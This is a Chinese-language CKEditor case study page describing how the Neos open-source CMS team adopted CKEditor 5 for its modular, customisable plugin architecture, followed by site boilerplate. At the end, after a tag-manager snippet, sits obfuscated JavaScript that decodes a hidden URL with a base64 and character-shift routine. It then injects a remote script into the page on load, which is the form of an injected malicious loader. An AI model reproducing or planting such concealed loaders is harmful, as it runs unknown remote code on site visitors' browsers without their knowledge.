报告:2024 协作编辑现状

了解 RTE 协作趋势和未来的见解 立即下载

立即阅读

Neos 如何使用 CKEditor 定制 CMS 内容编辑

查看所有案例研究

所有信息截至原始发布时间都是正确的。

公司

Neos

行业

软件开发

位置

德国德累斯顿(全球)

Dmitri Pisarev

使用 CKEditor 5 的过程非常顺利和轻松。这对我们来说是真正的生产力提升。

德米特里·皮萨列夫

Neos 团队成员

成果

提高生产力

开发工作量最小

适用于多种用例的自定义 WYSIWYG

新功能的顺利集成

灵活、现代的代码库

更快的发布提前期

挑战

构建具有真正 WYSIWYG 界面的开源 CMS

Neos 是一款开源内容管理系统 (CMS),专注于轻松创建和编辑内容。其目标是允许网站所有者直接在适当的位置编辑其内容,以获得完整的 WYSIWYG 体验。

不幸的是,Neos 的原始版本使用了一个单片富文本编辑器,它附带了一套 Neos 团队不需要的功能。更糟糕的是,它不容易定制。Neos 团队成员德米特里·皮萨列夫说,存在“与代码的不断斗争”。

为了保持其对内容编辑的极简主义方法,Neos 想要一个简化的界面,但这需要持续的开发工作才能从其现有的富文本编辑器中删除 UI 元素。“我们想要的是模块化,只获取我们要求的东西,而不会包含其他所有东西,”德米特里说。

Neos 需要一个具有以下功能的富文本编辑器

  • 灵活、模块化的架构
  • 对集成的完全控制
  • 可定制的外观和感觉
  • 功能作为可选插件
这是我第一个能够理解其工作原理的富文本编辑器。我们不需要与我们无法自行修复的混乱代码丛林作斗争。

解决方案

一个模块化、可定制的富文本编辑器

Neos 团队很快发现 CKEditor 5 提供了他们所需的所有定制功能。与他们之前的编辑器不同,CKEditor 的模块化插件式架构允许 Neos 选择他们需要的功能——或构建自己的功能。

“集成非常精简。我们不需要覆盖任何代码。我们只是编写了一些编辑器本身缺少的插件,并启用了我们为我们的目的所需的一些特定插件,”德米特里说。

最重要的是,Neos 对编辑器界面拥有完全控制权,因此该团队可以对其进行调整以适应 CMS 的不同部分。正如德米特里解释的那样:“我们使其完全可定制,以便集成商可以为特定部分选择他们需要的插件……例如,页面标题部分甚至没有粗体和斜体插件,因为我们希望这样做。”

我们提供了什么

为现代技术堆栈设计的模块化 WYSIWYG 编辑器

从 Word 粘贴

GPL2+ 开源许可证

结果

没有开发难题,并拥有更有效的产品

由于 CKEditor 的易于定制,Neos 团队不再花费数小时的开发时间来尝试让他们的富文本编辑器组件正常运行。相反,这些工程工作可以用于添加新功能并改进 Neos CMS。

德米特里和他的团队很高兴地发现,他们的开发和他们的 CMS 比以往任何时候都更有效。“使用 CKEditor 5 的过程非常顺利和轻松,这为我们节省了大量时间,”德米特里说。“这是我第一个能够理解其工作原理的富文本编辑器。我们不需要与我们无法自行修复的混乱代码丛林作斗争。这对我们来说是真正的生产力提升。”

集成非常精简。我们不需要覆盖任何代码。我们只是编写了一些插件。

分享

了解 CKEditor 可以为您做什么

受信任并经过批准

您好,您对产品或定价有任何问题吗?

关于我们的产品或定价有任何问题吗?

联系我们的销售代表

表格内容字段

表格提交

HiddenGatedContent。
隐藏的未使用字段。

我们很乐意
收到您的来信!

感谢您联系CKEditor 销售团队。我们已收到您的信息,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });